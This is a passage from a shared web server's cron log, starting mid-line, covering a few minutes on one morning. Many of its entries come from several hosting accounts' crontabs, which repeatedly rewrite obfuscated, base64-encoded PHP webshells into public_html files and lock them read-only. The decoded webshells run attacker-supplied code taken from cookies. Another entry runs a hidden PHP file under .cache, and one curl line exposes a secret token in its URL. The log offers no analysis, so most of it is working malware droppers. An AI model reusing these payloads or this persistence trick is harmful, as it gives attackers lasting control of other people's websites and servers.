"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:07:02 medusa CROND[17815]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:07:02 medusa CROND[17818]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:08:01 medusa CROND[19188]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:08:01 medusa CROND[19193]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:08:01 medusa CROND[19200]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 05:08:01 medusa CROND[19201]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Jun  7 05:08:01 medusa CROND[19205]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:08:01 medusa CROND[19206]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:08:01 medusa CROND[19207]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:08:01 medusa CROND[19209]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:08:01 medusa CROND[19211]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:08:01 medusa CROND[19213]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:08:01 medusa CROND[19212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:08:01 medusa CROND[19222]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:08:01 medusa CROND[19224]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 05:08:01 medusa CROND[19225]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:09:01 medusa CROND[20582]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:09:01 medusa CROND[20583]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:09:01 medusa CROND[20584]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 05:09:01 medusa CROND[20585]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:09:01 medusa CROND[20586]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:09:01 medusa CROND[20587]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:09:01 medusa CROND[20588]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:09:01 medusa CROND[20590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:09:01 medusa CROND[20592]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Jun  7 05:09:01 medusa CROND[20595]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:09:01 medusa CROND[20601]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:09:01 medusa CROND[20602]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:09:01 medusa CROND[20605]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:10:01 medusa CROND[22170]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 05:10:01 medusa CROND[22171]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 05:10:01 medusa CROND[22180]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:10:01 medusa CROND[22228]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 05:10:01 medusa CROND[22232]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 05:10:01 medusa CROND[22231]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
